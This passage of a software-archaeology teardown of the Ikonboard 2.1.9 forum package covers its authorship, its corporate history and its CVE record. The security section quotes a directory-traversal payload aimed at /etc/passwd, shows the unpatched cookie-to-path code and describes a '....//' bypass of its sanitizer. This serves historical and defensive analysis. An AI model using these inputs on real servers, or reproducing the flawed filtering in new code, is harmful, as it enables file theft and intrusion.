The presence of `post.cgi.bak` and `ikon.lib.bak` **inside the shipped distribution** is itself an
artifact worth recording: the release was assembled by hand-editing files in place, and the editor's
backup copies went into the zip. `post.cgi` differs from `post.cgi.bak` by exactly one line -- a
closing brace -- written **two minutes** before `Changes.txt` was superseded as the tree's newest
file **[SRC]**.

#### 3.2 Multiple hands

Setting aside the credit list, the code itself shows at least two and probably several
contributors. None of this is subtle.

**Indentation is not merely inconsistent; it is inconsistent in a way that fingerprints block-level
editing.** Counting leading-tab lines against total lines **[SRC]**:

| File | Lines | Lines starting with a tab |
|---|---:|---:|
| `install.cgi` | 740 | 476 |
| `announcements.cgi` | 556 | 367 |
| `profile.cgi` | 626 | 334 |
| `search.cgi` | 615 | 93 |
| `ikonmail.lib` | 142 | 76 |
| `setvariables.cgi` | 437 | 61 |
| *(typical file)* | -- | 0-2 |

The revealing detail is *what the tabs sit in front of*. In `profile.cgi:186-200` and
`announcements.cgi:74-80`, the lines read `\t` followed by the file's original 8- or 16-space
indentation -- for example (`cat -A` rendering, `^I` = tab) **[SRC]**:

```
^I                &sendmail($from, $from, $to, $SMTP_SERVER, $subject, $message );
^I                $output .= qq~
^I                <tr>
```

That is the signature of someone selecting a region in a Windows editor and pressing Tab. A single
author working continuously does not produce it; a second person re-indenting an inherited block
does. Whole *contiguous regions* of these files are shifted, not scattered lines.

**Variable-scoping idiom is split.** `my` and `local` coexist with no discernible rule
**[SRC]** -- `ikon.lib` alone uses `my` 51 times and `local` 5 times, and the `local(...) = @_;`
argument-unpacking idiom (already dated by 2001) survives in `ikon.lib:91`, `:398`, `:426`, `:463`,
`:791`, and in `announcements.cgi:499`, `messenger.cgi:812`, `newposts.cgi:236`. Newer subroutines --
`openFILE` at `ikon.lib:1071`, `stripMETA` at `:652` -- are uniformly `my`. No file uses `use strict`
**[SRC]**; the codebase is entirely package-global by default, which is exactly why `local` vs `my`
carried real semantic weight here and why the mixture matters.

**Subroutine naming has three competing conventions** in a single library **[SRC]** (`ikon.lib`):

- all-lowercase: `mischeader`, `moderator`, `getmember`, `whosonline`, `forumjump`, `doemoticons`
- `camelSHOUT`: `checkVALIDITY` (`:16`), `unHTML` (`:620`), `stripMETA` (`:652`), `rebuildLIST`
  (`:1025`), `openFILE` (`:1071`)
- snake_case: `set_up_guest` (`:1100`) -- the **only** one in the tree

`set_up_guest` is the clearest single artifact of a second hand. It is appended at the very end of
the library, immediately after `openFILE`, prefaced by a bare terse comment in a voice found nowhere
else in the file, and its body is written at **zero indentation** with a closing brace at three
spaces **[SRC]** (`ikon.lib:1098-1125`):

```perl
# Used to fix deleted members bug

sub set_up_guest {
$membername = 'Deleted Member';
$membercode = '';
$membertitle = 'Deleted';
...
   }
```

Match that against `Changes.txt:50` -- "Deleted Members' Posts are now displayed properly" -- listed
under **"Version 2.1.8 r2.1 / New Developing Team behind IkonBoard 2"** (`Changes.txt:44-46`)
**[SRC]**. The changelog names a new team; the code shows a function bolted onto the end of the
library in a style the library does not otherwise use. Those are the same event seen from two sides.

**Comment voice varies by file.** `ikonboard.cgi` uses banner separators (`#------- HTML`,
`#------- END OF HTML`); `announcements.cgi` and `help.cgi` use a triple-hash convention
(`### Print Header for the page.`); `forums.cgi` uses conversational single-hash notes, including
the authorial aside at `forums.cgi:277`, "`# Span time, yet again. Who needs sub-routes?`"; and
`post.cgi` / `profile.cgi` carry trailing block-closing annotations -- `} # end foreach`
(`post.cgi:945`, `:1053`), `} # end routine` (`post.cgi:1055`), `} # end user registered.`
(`profile.cgi:200`) **[SRC]**. That last habit -- annotating a closing brace with what it closes --
appears only in the files the changelog flags as rewritten, and is a common instinct when
*navigating someone else's* deeply nested code rather than writing your own.

Taken together: Mecham wrote the codebase, and a group of volunteers patched it in place through
2.1.8 and 2.1.9 without adopting his conventions. The credit block at `admincenter.cgi:177-180`
records who they were; the indentation records where they touched.

---

### 2.4 The Invision Power Board lineage

This is the reason Ikonboard 2.1.9 matters beyond its own install base.

**The sale.** In late April 2001 -- within weeks of the 2.1.9 build window -- Ikonboard joined the
Jarvis Network. Mecham sold Ikonboard to **Jarvis Entertainment Group** in exchange for **50,000
shares of JEG common stock**; he stated in a 2002 interview that he was never able to sell any of
those shares **[WEB]** ([Wikipedia: Ikonboard](https://en.wikipedia.org/wiki/Ikonboard)). The
transition is visible in the archived site: by 2001-06-18 the ikonboard.com footer read **"Site
Design and Content (c) Jarvis Entertainment Group, Inc"** **[WEB]** ([Wayback,
2001-06-18](https://web.archive.org/web/20010618135943/http://www.ikonboard.com/)) -- while
`license.html` in this very distribution still names a private Gosport address as the manufacturer
**[SRC]** (`license.html:172`). **2.1.9 is a transitional artifact**: the last-generation codebase,
shipped under the old license, from a site that had just changed owners.

**The split.** Mecham and **Charles Warner** were both employed by the acquiring company, were
unhappy with its direction, and left. **Invision Power Services was founded in February 2002**
**[WEB]** ([Mytton interview](https://davidmytton.blog/interview-matt-mecham-of-ips/);
[Wikipedia: Invision Community](https://en.wikipedia.org/wiki/Invision_Community)). Its first
product was **Invision Power Board (IPB)**, which "quickly gathered a community of former Ikonboard
users" **[WEB]** (ibid.).

A note on the "dispute": the split is well documented as a departure over direction, and there
was a later legal fight over the *Ikonboard domain* **[WEB]** -- "a year after Mecham's departure the
DNS was altered to point to a holding page which redirected users to other software, during this
time there was a legal dispute over the domain ownership." Beyond that, the online record is thick
with acrimonious accounts (there is, for instance, a long-running Web Hosting Talk thread titled
"CEO Invision Power Board, Matt Mecham Is a Liar, Thief!"). I have deliberately **not** relied on
those; the allegations in them are **unverified** and I make no claim about them here.

**Why IPB was not Ikonboard.** IPB was written in **PHP against MySQL** from the start -- the
architecture Ikonboard 2.x lacked and Ikonboard 3.x bolted on late. IPB's commercial arc:

- **1.x** -- distributed free of charge under a proprietary license **[WEB]**
- **2004** -- free downloads replaced with a restricted demo (5,000 posts / 1,000 threads /
  200 members) **[WEB]** ([Wikipedia](https://en.wikipedia.org/wiki/Invision_Community))
- **2009-06-23** -- 3.0 **[WEB]**
- **2015-04-09** -- 4.0.0, a complete rewrite, first officially supported release **[WEB]**

IPB became one of the dominant commercial forum packages of the 2000s alongside vBulletin, and the
company survives today as **Invision Community** **[WEB]**. The migration path -- Ikonboard's
user base following its original author to a new product -- is what turned a Perl freeware board's
collapse into a commercial success elsewhere.

**Ikonboard after Mecham.** Ikonboard 3.0 was a technical rewrite adding database support, and
"soon after the release of 3.0, Mecham stopped developing Ikonboard, and departed to work on
Invision Power Board" **[WEB]** ([Wikipedia](https://en.wikipedia.org/wiki/Ikonboard)). JEG then
made a public call for volunteers to staff and develop it, producing what community accounts call a
"second set" of coders **[UNVERIFIED]** -- the 2002 Team Ikonboard roster in
[section 2.4](#24-corroborating-the-handles) is that generation.

**On the claim that Ikonboard 3 was "much derided":** I could **not verify this** to a reliable
source **[UNVERIFIED]**. It is widely repeated in community recollection, and the shape of the
history is consistent with it -- the user base migrated to IPB, the maintainer churn was severe, and
IB3's security record was substantially worse than 2.1.x's (see [section 2.6](#26-documented-security-history)).
But I found no contemporaneous review, benchmark, or reputable retrospective characterizing IB3 as
slow, bloated, or poorly received. Recorded here as an open question rather than a fact.

---

### 2.5 Competitive landscape, and why this architecture died

#### 5.1 The 2000-2003 field

| Package | Language | Storage | Model | Notes |
|---|---|---|---|---|
| **UBB (Ultimate Bulletin Board)** | Perl | Flat file | Commercial (Infopop) | The template everything else copied **[WEB]** |
| **Ikonboard** | Perl | Flat file | Free; GBP 200 to remove backlink | This teardown **[SRC]** |
| **YaBB** | Perl | Flat file | Free/open | "Yet another Bulletin Board" |
| **Snitz Forums 2000** | Classic ASP | Access/SQL Server | Free | The Microsoft-stack option |
| **phpBB** | PHP | MySQL | Free/open (GPL) | Started June 2000 by James Atkinson as an open-source "UBB look-alike"; 1.0.0 on **2000-12-09** **[WEB]** |
| **vBulletin** | PHP | MySQL | Commercial (Jelsoft) | Begun Feb 2000 by James Limm and John Percival, explicitly as a PHP/MySQL rewrite of UBB.classic; v2 in 2001 **[WEB]** |
| **XMB** | PHP | MySQL | Free | Later entrant |
| **Invision Power Board** | PHP | MySQL | Commercial (IPS, Feb 2002) | Mecham's successor product **[WEB]** |

**UBB was the direct stylistic ancestor.** This is not a vague resemblance -- it is the field's
common origin. UBB.classic was Perl over a flat-file database **[WEB]**
([UBB.threads](https://handwiki.org/wiki/Software:UBB.threads)); phpBB was conceived as a "UBB
look-alike" **[WEB]** ([phpBB history](https://www.phpbb.com/about/history/)); vBulletin was
"initially designed solely as a rewrite of UBB" **[WEB]**
([Wikipedia: vBulletin](https://en.wikipedia.org/wiki/VBulletin)). Ikonboard sat in the same
lineage, and the visual grammar this teardown will examine in later chapters -- the table-per-post
layout, the left-hand member panel with avatar and rank pips, the "Powered by" footer -- is UBB's
grammar. Ikonboard's differentiator against UBB was price: UBB was commercial, Ikonboard was free
even for commercial use (`license.html:19`) **[SRC]**.

#### 5.2 Why Perl-CGI flat-file boards lost

The forces are visible in the source, which makes this more than a general argument:

**1. Process-per-request.** Every page view forks a Perl interpreter, recompiles ~40 kB of library,
and re-`require`s the config files (`admincenter.cgi:26-31` and equivalent preambles in all 31
scripts) **[SRC]**. PHP as `mod_php` kept the interpreter resident. On the shared hosting that was
this software's entire market, that difference decided whether a busy board stayed up.

**2. No database means no queries, no transactions, and no integrity.** Every listing operation is a
directory scan plus a manual sort. `sub rebuildLIST` (`ikon.lib:1025`) reads every `*.pl` file in a
forum directory, splits each on `|`, string-sorts the lot, reverses it, and writes a new `list.cgi`
index **[SRC]** -- O(topics) file opens to render one forum page, with `flock` as the only
concurrency control. The "disappearing threads" bug that dominates 2.1.9's changelog and README
(`README.txt:6-9`, `Changes.txt:22`) is a *direct consequence of this design*: a rebuild
interrupted, raced, or fed a malformed record silently loses the index. The fix credited to
SmileyMan is a rewrite of those routines, not a schema change, because there is no schema to
change. A `SELECT ... ORDER BY` in MySQL made the entire bug class disappear.

**3. Sorting dates as strings.** The September patch in this tree pads `$lastpostdate` to ten digits
before sorting (`ikon.lib:1046`) **[SRC]** -- because the sort is lexical, and Unix timestamps
crossed 1,000,000,000 on 2001-09-09 at 01:46:40 UTC. This tree's `ikon.lib` carries an mtime of
epoch **1000009398** -- 9,398 seconds, or 2h36m38s, *after* that moment. The board broke at the
rollover and was patched the same night, not pre-emptively. See section 8 for the full diff. That is
what data types cost you when you don't have any.

**4. `chmod 0777`.** The install guide instructs users to make four directories world-writable
**[SRC]** (`first_install.html`). Combined with the traversal flaws in
[section 2.6](#26-documented-security-history), this converted file-write bugs directly into remote code
execution on shared hosts. Database-backed boards kept their data outside the document root, in a
process the web server could not write to.

**5. Ecosystem gravity.** By 2001 hosts were selling "PHP + MySQL" as the default LAMP bundle. phpBB
was free *and* open source *and* database-backed; vBulletin was paid, fast, and polished. Ikonboard's
"free even commercially" pitch (`license.html:19`) **[SRC]** was undercut on the free side by phpBB
and on the quality side by vBulletin, and its architecture could not answer either. Ikonboard 3's
belated move to database support came after its author had already left to build a PHP/MySQL product
from scratch.

---

### 2.6 Documented security history

The changelog's security entries are terse and unspecific. Matching them against the published
advisory record -- and then against the shipped code -- produces something more precise.

#### 6.1 What `Changes.txt` says

**[SRC]** (`Changes.txt:56-66`):

> **Version 2.1.8 r2**
>
> Due to the recent slew of kiddie-wannabe hackers and the delay in completing iB3 we've released
> another version of v2.1.8.
>
> **What's New?**
>
> Security Fixes in several scripts.

with the upgrade instruction to overwrite `help.cgi`, `setbadwords.cgi`, `setmembertitles.cgi`,
`setvariables.cgi`, `setstyles.cgi`, and `ikon.lib` (`Changes.txt:73-80`), and at `Changes.txt:51`:

> Private Forums Security Patch - In forums.cgi and topic.cgi

#### 6.2 The published 2.1.x advisories

| ID | Date | Component | Nature | Affected |
|---|---|---|---|---|
| **CVE-2001-0076** | Jan 2001 | `register.cgi` | Remote command execution -- the `SEND_MAIL` request parameter overwrites an internal variable naming a program to execute | 2.1.7b and earlier **[WEB]** |
| **CVE-2001-0360** | Mar 2001 | `help.cgi` | Directory traversal / arbitrary file read via `..` in the `helpon` parameter (SecurityFocus BID 2471) | 2.1.7b and earlier **[WEB]** |
| *(advisory)* | **2001-03-11** | `help.cgi` | Martin J. Muench, Bugtraq -- `help.cgi?helpon=../../../../../etc/passwd%00`; the filter omits backslashes and does not stop `..`, and a NUL byte truncates the appended `.dat` | 2.1.7b **[WEB]** |
| **CVE-2001-0841** | **2001-10-30** (found 2001-09-03) | `Search.cgi` | Directory traversal via the `amembernamecookie` cookie, used unsanitized as a filename; attacker writes arbitrary content and gains board-admin privilege, potentially shell | **"ib219 and all older versions"** **[WEB]** |

#### 6.3 Matching the advisories to the shipped code

This is where the internal and external evidence lock together.

**"Security Fixes in several scripts" (2.1.8 r2) includes the fix for the Muench `help.cgi`
advisory.** Muench's recommended mitigation was to add `$inhelpon =~ s/\\///g;` after line 45 of
`help.cgi` **[WEB]**. In the 2.1.9 tree, immediately after the input is fetched and cleaned
(`help.cgi:45`, `:51`), we find **[SRC]** (`help.cgi:51-53`):

```perl
$inhelpon               = &cleaninput($inhelpon);
$inhelpon =~ s/\///g;
$inhelpon =~ s/\.\.//g;
```

-- the recommended slash strip, plus a `..` strip, plus a later `&stripMETA($filetoopen)` at
`help.cgi:98`. `help.cgi` is also the **first file listed** in the 2.1.8 r2 upgrade instructions
(`Changes.txt:75`) **[SRC]**. The match is direct: **the "recent slew of kiddie-wannabe hackers" of
early 2001 is, at minimum, the January-March 2001 `register.cgi` / `help.cgi` disclosure wave.**

**The `register.cgi` command-execution fix is present too.** CVE-2001-0076 worked by supplying
`SEND_MAIL` as a request parameter to overwrite the internal program path **[WEB]**. In 2.1.9, the
parameter-processing loop in `register.cgi` opens by explicitly skipping it **[SRC]**
(`register.cgi:54-55`):

```perl
    next if $_ eq 'SEND_MAIL';
    $tp = $query->param($_);
```

A blacklist rather than a redesign -- but the specific hole is closed.

**The "Private Forums Security Patch" is a pair of authorization checks.** `Changes.txt:51` names
`forums.cgi` and `topic.cgi`; both contain a guard of the same shape **[SRC]**:

```perl
forums.cgi:160   if (("$privateforum" eq "yes") && ("$allowed" ne "yes"))  { &accessneeded; }
topic.cgi:188    if (("$privateforum" eq "yes" && "$allowed" ne "yes")) { &error("Entering Private Topic&Sorry, you do not have access in this forum"); }
```

The inconsistent parenthesization between the two -- and the fact that the fix had to be applied
*twice*, once per entry point -- indicates the original flaw was a missing check on the direct-topic
URL: a private forum's listing was protected while individual topics inside it were reachable
directly. The changelog does not say this; the code shape does **[SRC]**, and I record it as
inference rather than as documented fact.

#### 6.4 This exact release is a named CVE

**CVE-2001-0841 names `ib219`.** The Chen Jun advisory (Bugtraq, 2001-10-30) states the flaw affects
"Ikonboard ib219 and all older versions" across Windows, Linux, Solaris, AIX, HP, Digital, IRIX and
SCO, and describes it precisely: "the variable $filename come from Cookie amembernamecookie not
filter", allowing an attacker to "write any content to the file, and gain the bbs administrator's
privilege" **[WEB]** ([Bugtraq](https://marc.info/?l=bugtraq&m=100446445208739&w=2);
[CVE-2001-0841](https://app.opencve.io/cve/CVE-2001-0841); SecurityFocus BID 3486). The recommended
workaround was to strip `/` and `..` from the cookie value.

The vulnerable code is in this tree, unpatched **[SRC]** (`search.cgi:55-66`):

```perl
$inmembername     = cookie("amembernamecookie");
$filename = $inmembername;

if (!$filename) {
    $filename = "Guest$ipaddress";
    $filename =~ s/\.//g;
    }

$filename =~ y/ /_/;
$filename = "$filename" . "_sch.txt";

$searchfilename = "$ikondir" . "search/$filename";
```

The cookie goes straight into a path. The only transformation is spaces to underscores. There is no
`&stripMETA`, no slash strip, no `..` strip -- the defenses that `help.cgi:52-53` had already been
given six months earlier were never carried across to `search.cgi`. `$searchfilename` is then
opened for writing at `search.cgi:124` and appended to at `:291` **[SRC]**. Combined with the
install guide's `chmod 0777` instruction, on a host with PHP or Perl execution in the document root
this is remote code execution.

This is the single most important security fact about the release under examination: **Ikonboard
2.1.9 shipped in June 2001 with a remotely exploitable arbitrary-file-write flaw that was disclosed
against it by name four months later, and it was the final 2.1.x release** -- there is no 2.1.10 in
the changelog and no evidence of one. Boards left on 2.1.9 stayed vulnerable.

#### 6.5 An observation on `stripMETA`

Not a published advisory -- my own reading of the source, recorded as an analytic note **[SRC]**.
`ikon.lib:652-676` implements `stripMETA` as a series of single-pass global substitutions, ending:

```perl
$file =~ s/\.\.//g;
return $file;
```

The `..` removal is non-recursive and runs once, so an input containing `....//` reduces to `../`
after the pass. `stripMETA` also strips shell metacharacters but **not** the forward slash and
**not** the NUL byte -- the two things Muench's advisory actually turned on **[WEB]**. Files that
relied on `stripMETA` alone for path safety were therefore weaker than `help.cgi`, which carries its
own explicit slash and `..` strips at `:52-53`. The sanitizer is a denylist assembled reactively from
whatever the last advisory mentioned; this is the characteristic security posture of the entire
codebase, and a later chapter of this teardown should map its full reach.

#### 6.6 Distinguishing 2.1.x from the 3.1.x era

These are frequently conflated in vulnerability databases and secondary write-ups, because the
script name `ikonboard.cgi` exists in both. They are different codebases with different failure
modes:

| | 2.1.x (Perl, flat-file) | 3.1.x (Perl, database-backed) |
|---|---|---|
| Characteristic flaw | **Path traversal / file write** -- unsanitized user input used as a filename | **SQL injection** and **command execution** -- unsanitized input reaching queries and the shell |
| Representative | CVE-2001-0841 (`Search.cgi`, cookie -> filename) **[WEB]** | CVE-2004-1406 (`ikonboard.cgi`, SQLi via `st` / `keywords` params, 3.1.0-3.1.3) **[WEB]** |
| Also | CVE-2001-0076 (`register.cgi` RCE), CVE-2001-0360 (`help.cgi` traversal) **[WEB]** | Bugtraq Sep 2003: IkonBoard 3.1.1/3.1.2a arbitrary command execution; Exploit-DB "IkonBoard 3.1 -- Lang Cookie Arbitrary Command Execution" **[WEB]** |

**CVE-2004-1406 does not apply to 2.1.9** -- 2.1.9 has no SQL. Conversely the 2001 cookie-traversal
CVE does not apply to 3.1.x, which had reworked that code. Note also that the *cookie* remained a
recurring attack surface across both generations (2.1.x: `amembernamecookie` -> filename; 3.1.x:
"Lang Cookie" -> command execution) **[WEB]** -- a design habit that outlived the architecture.

There is also a widely repeated claim of an XSS in Ikonboard 2.1.9 "when HTML is ON", allowing a
posted script to harvest viewers' credentials. I could **not** trace this to a numbered advisory or
a primary posting **[UNVERIFIED]**. A closely related and *documented* issue exists -- cross-site
scripting in **Ikonboard 3.0.1** via JavaScript in an `IMG` tag, enabling cookie theft **[WEB]**
([Exploit-DB 21304](https://www.exploit-db.com/exploits/21304)) -- and the 2.1.9 claim may be a
garbled recollection of it. That said, 2.1.9's own `cleaninput` (`ikon.lib:602-617`) escapes `<`
and `>` but special-cases only the literal string `<script>` before doing so, and the
administrator-selectable "Allow HTML" option (`announcements.cgi:422`) bypasses cleaning entirely
**[SRC]** -- so a board with HTML enabled was certainly exposed, whether or not a formal advisory
was ever filed.

---

### 2.7 Legacy, and what remains

**The software.** Ikonboard's final release was **3.1.5A in June 2010** **[WEB]**. The 2.1.x line
ended with 2.1.9 in June 2001 **[SRC]**. Nothing in the lineage is maintained.

**The site.** `ikonboard.com` outlived the software as a shell. Wayback captures show it serving
content into 2018 -- by then a WordPress marketing page footed "(c) 2018 Ikonboard", still advertising
"well over 1 million active boards operating across the web and over 50,000 downloads in the past
few months" **[WEB]** ([Wayback,
2018-04-22](https://web.archive.org/web/20180422133604/http://www.ikonboard.com/)) -- claims that
were, by 2018, a decade or more stale. From **July 2018** the host began returning HTTP 500; from
**October 2018** onward the CDX record shows only redirects **[WEB]**
([Wayback CDX](http://web.archive.org/cdx/search/cdx?url=ikonboard.com)). That is as close to a
death certificate as the domain has.

The precise date the site "went offline" is therefore best given as a range: **content served
through roughly May 2018; server errors from July 2018; no independent site after October 2018**
**[WEB]**. Wikipedia's "January 2017" date for cessation **[WEB]** does not match what the CDX record
shows, and I flag the discrepancy rather than choosing between them **[UNVERIFIED]**.

**The community.** It dispersed in two waves. The first, and much the larger, followed Mecham to
**Invision Power Board** from February 2002 -- the migration that made IPS viable **[WEB]**. The
second was the **2006-09-10** departure of the remaining Ikonboard team to found **IkonForums**,
after which Ikonboard development effectively stopped; that team's parting gift was 3.1.5, "a few
bug fixes and security patch" **[WEB]** ([Wikipedia](https://en.wikipedia.org/wiki/Ikonboard)). The
old support board at `forums.ikonboard.com` has Wayback captures running to at least 2012 **[WEB]**
([Wayback CDX](http://web.archive.org/cdx/search/cdx?url=forums.ikonboard.com)), but it is gone now,
and with it the member profiles that would have identified most of the people credited at
`admincenter.cgi:180`.

**What actually survives.** Three things, and this teardown exists because of the first:

1. **Surviving copies of the distribution.** Downloaded zips like this one, sitting unopened in
   old personal and web-host backups, are the primary record. They preserve build timestamps,
   the maintainer's own hand-edit artifacts (`post.cgi.bak`, `ikon.lib.bak`), post-release vendor
   patches (the 2001-09-09 `ikon.lib`), and -- crucially -- the credit block, which exists in no
   secondary source I could find.
2. **The advisory record.** CVE, Bugtraq and MARC archives preserve, in unusual detail, both the
   flaws and the community's response to them. CVE-2001-0841 is the only place outside the source
   tree where the string `ib219` appears as a formal identifier.
3. **Invision Community.** The direct commercial descendant, still trading. Every IPS product is
   downstream of a Perl CGI board written by one man in Gosport and patched by a dozen volunteers
   whose real names are, in most cases, now unrecoverable.

**The credit block is the find.** `admincenter.cgi:177-180` is, as far as I can establish, the only
surviving enumeration of the Ikonboard 2 development team. It was added in this very release
(`Changes.txt:19`), it is absent from the 2002 team roster that replaced it **[WEB]**, and it is
absent from Wikipedia and every secondary account I checked. Preserving it verbatim -- including the
tab that betrays it was pasted in late -- is the single most useful thing this chapter does.

---

### Open questions / could not verify

Recorded explicitly so future work does not mistake these for settled:

1. **Real identities of Ahnteis, Bakhtaar, DingDang, LarryC, Marten, OmarSerenity, SmileyMan,
   Steve S**, and testers **Luc**, **Josh**, and **Debbie Ruff**. Only Stewart (Camikaze), Peter,
   and Ken (Heartcall) could be matched, via the 2001 team photo page. `forums.ikonboard.com` member
   profiles would resolve the rest and are largely uncrawled.
2. **The exact public release date of 2.1.9.** File mtimes bound it to on/after 2001-06-07; no
   external announcement found.
3. **Why the version string says "Beta"** when no documentation does. No project statement found.
4. **Where this copy was fetched from** -- ikonboard.com directly, or a mirror? Undetermined.
   (That the 2001-09-09 `ikon.lib` is an *official* post-release patch rather than a local fix is
   settled, not open: this tree was never installed, so no administrator here could have hit the
   bug. See [section 3.1](#31-what-this-particular-copy-is).)
5. **Whether Ikonboard 3 was genuinely "much derided."** Widely repeated; no contemporaneous review
   or reputable retrospective located. Its security record was demonstrably worse than 2.1.x's, which
   is a different claim.
6. **The reported 2.1.9 "HTML on" XSS.** No numbered advisory or primary posting found; a documented
   3.0.1 `IMG`-tag XSS may be the origin of the claim. The underlying exposure in 2.1.9's
   `cleaninput` is nonetheless real and visible in the source.
7. **Whether the 2.1.8 r2 "security fixes in several scripts" covered anything beyond** the
   `help.cgi` traversal. The four other files listed (`setbadwords.cgi`, `setmembertitles.cgi`,
   `setvariables.cgi`, `setstyles.cgi`) are all admin scripts with no matching public advisory found;
   these may have been unreported fixes.
8. **The specifics of the JEG / Mecham falling-out.** Documented as a departure over company
   direction, with a later domain-ownership lawsuit. Personal allegations circulating on webmaster
   forums are unverified and deliberately excluded.

---

### Sources

Local source tree (primary): `ib219/` -- Ikonboard 2.1.9 Beta distribution. Files cited by
`file:line` throughout: `Changes.txt`, `README.txt`, `license.html`, `first_install.html`,
`cgi-bin/admincenter.cgi`, `cgi-bin/ikon.lib`, `cgi-bin/ikon.lib.bak`, `cgi-bin/ikonmail.lib`,
`cgi-bin/install.cgi`, `cgi-bin/help.cgi`, `cgi-bin/search.cgi`, `cgi-bin/register.cgi`,
`cgi-bin/forums.cgi`, `cgi-bin/topic.cgi`, `cgi-bin/post.cgi`, `cgi-bin/post.cgi.bak`,
`cgi-bin/profile.cgi`, `cgi-bin/announcements.cgi`, `upgrading/update_forums.cgi`.

Web sources:

- Wikipedia -- Ikonboard: https://en.wikipedia.org/wiki/Ikonboard
- Wikipedia -- Invision Community: https://en.wikipedia.org/wiki/Invision_Community
- Wikipedia -- vBulletin: https://en.wikipedia.org/wiki/VBulletin
- Wikipedia -- Talk:Ikonboard: https://en.wikipedia.org/wiki/Talk:Ikonboard
- David Mytton, *Interview -- Matt Mecham of IPS* (April 2004): https://davidmytton.blog/interview-matt-mecham-of-ips/
- phpBB -- History: https://www.phpbb.com/about/history/
- HandWiki -- UBB.threads: https://handwiki.org/wiki/Software:UBB.threads
- Bugtraq (Martin J. Muench, 2001-03-11) -- "Ikonboard v2.1.7b 'show files' vulnerability": https://seclists.org/bugtraq/2001/Mar/152
- Bugtraq (Chen Jun, 2001-10-30) -- "Ikonboard Cookie filter vulnerability": https://marc.info/?l=bugtraq&m=100446445208739&w=2
- OpenCVE -- CVE-2001-0841: https://app.opencve.io/cve/CVE-2001-0841
- CVE Details -- CVE-2001-0076: https://www.cvedetails.com/cve/CVE-2001-0076/
- CVE Details -- CVE-2001-0360: https://www.cvedetails.com/cve/CVE-2001-0360/
- GitHub Advisory Database -- CVE-2004-1406 (GHSA-xgvq-66rg-gv8q): https://github.com/advisories/GHSA-xgvq-66rg-gv8q
- Bugtraq (2004-12) -- "[MaxPatrol] SQL-injection in Ikonboard 3.1.x": https://marc.info/?l=bugtraq&m=110321654705580&w=2
- Bugtraq (2003-09) -- "Exploit: IkonBoard 3.1.1/3.1.2a arbitrary command execution": https://seclists.org/bugtraq/2003/Sep/248
- Exploit-DB 21304 -- IkonBoard image-tag cross-agent scripting: https://www.exploit-db.com/exploits/21304
- Exploit-DB 22500 -- IkonBoard 3.1 Lang Cookie arbitrary command execution: https://www.exploit-db.com/exploits/22500
- Exploit-DB 24986 -- IkonBoard 3.x multiple SQL injections: https://www.exploit-db.com/exploits/24986
- Wayback Machine -- ikonboard.com, 2001-04-24 (team page): https://web.archive.org/web/20010424095657/http://www.ikonboard.com/team/
- Wayback Machine -- ikonboard.com, 2001-06-18 (homepage, JEG footer, download counter): https://web.archive.org/web/20010618135943/http://www.ikonboard.com/
- Wayback Machine -- ikonboard.com, 2002-06-05 (Team Ikonboard roster): https://web.archive.org/web/20020605064230/http://www.ikonboard.com/?team
- Wayback Machine -- ikonboard.com, 2018-04-22 (final WordPress-era site): https://web.archive.org/web/20180422133604/http://www.ikonboard.com/
- Wayback Machine CDX API -- ikonboard.com: http://web.archive.org/cdx/search/cdx?url=ikonboard.com
- Wayback Machine CDX API -- forums.ikonboard.com: http://web.archive.org/cdx/search/cdx?url=forums.ikonboard.com
- Wayback Machine CDX API -- ikondiscussion.com: http://web.archive.org/cdx/search/cdx?url=ikondiscussion.com

*Consulted but deliberately not relied upon (unverified allegations):* Web Hosting Talk thread
"CEO Invision Power Board, Matt Mecham Is a Liar, Thief!" -- https://www.webhostingtalk.com/showthread.php?t=326813

---

## 3. Architecture

### 3.1 The shape of the thing

Ikonboard 2.1.9 is not an application in the modern sense. It is **40 independent Perl programs** that happen to share three library files and a directory of text files. There is no server process, no router, no ORM, no framework, and no database. Every page view starts a fresh `perl` interpreter, which reads some text files off disk, prints HTML to stdout, and exits.

This is the CGI model in its purest form, and understanding it is the key to understanding every design decision -- good and bad -- in the rest of this document.

```
                    +------------------------------------------+
   HTTP request     |  Apache (or IIS)                         |
   GET /cgi-bin/    |    mod_cgi: fork() + exec()              |
   ikonboard/       |                                          |
   topic.cgi?t=42   |  +------------------------------------+  |
        ----------> |  |  NEW perl process, every request   |  |
                    |  |                                    |  |
                    |  |  #!/usr/bin/perl                   |  |
                    |  |  use CGI                           |  |
                    |  |  require ikon.lib          <-------+--+-- shared subs
                    |  |  require data/progs.cgi    <-------+--+-- script name map
                    |  |  require data/boardinfo.cgi<-------+--+-- config (Perl!)
                    |  |  require data/styles.cgi   <-------+--+-- colors (Perl!)
                    |  |                                    |  |
                    |  |  read flat files ------------------+--+--> cgi-bin/forum3/42.pl
                    |  |  build $output string              |  |    cgi-bin/members/Bob.cgi
                    |  |  &output() -> merge into template   |  |    cgi-bin/data/*.cgi
                    |  |  print; exit                       |  |
                    |  +------------------------------------+  |
                    |              process dies                |
   HTML response    +------------------------------------------+
        <----------
```

Nothing persists between requests except files on disk and cookies in the browser. There is no shared memory, no connection pool, no cache. Every single page load re-reads and re-parses the board configuration, the styles, the forum list, and the member record of whoever is logged in.

---

### 3.2 The standard script skeleton

Every one of the 40 CGI scripts opens with a near-identical preamble. `ikonboard.cgi:1-46` is the canonical example:

```perl
#!/usr/bin/perl

#############################################################
# Ikonboard v2.1
# Copyright 2001 Ikonboard.com - All Rights Reserved
# ...
# All files written by Matthew Mecham
#############################################################

use CGI::Carp "fatalsToBrowser";          # Output errors to browser
use CGI qw(:standard);                    # Saves loads of work
$CGI::POST_MAX=1024 * 150;                # limit post data
$CGI::DISABLE_UPLOADS = 1;                # Disable uploads
$CGI::HEADERS_ONCE = 1;                   # Kill redundant headers

eval {
($0 =~ m,(.*)/[^/]+,)   and unshift (@INC, "$1");
($0 =~ m,(.*)\\[^\\]+,) and unshift (@INC, "$1");
require "ikon.lib";          # Require ikonboard ()
require "data/progs.cgi";    # Require prog names
require "data/boardinfo.cgi";# Require board info
require "data/styles.cgi";   # Require styles info
};
if ($@) {
    print header(); print start_html(-title=>"Ikonboard Error!");
    print "Could not find these files: $@\n...";
    print end_html; exit;
}

$|++;                                     # Unbuffer the output

$thisprog = "ikonboard.cgi";

$query = new CGI;
$action = $query->param('action');

$inmembername = cookie("amembernamecookie");
$inpassword   = cookie("apasswordcookie");
```

Six things worth noting, because they recur everywhere:

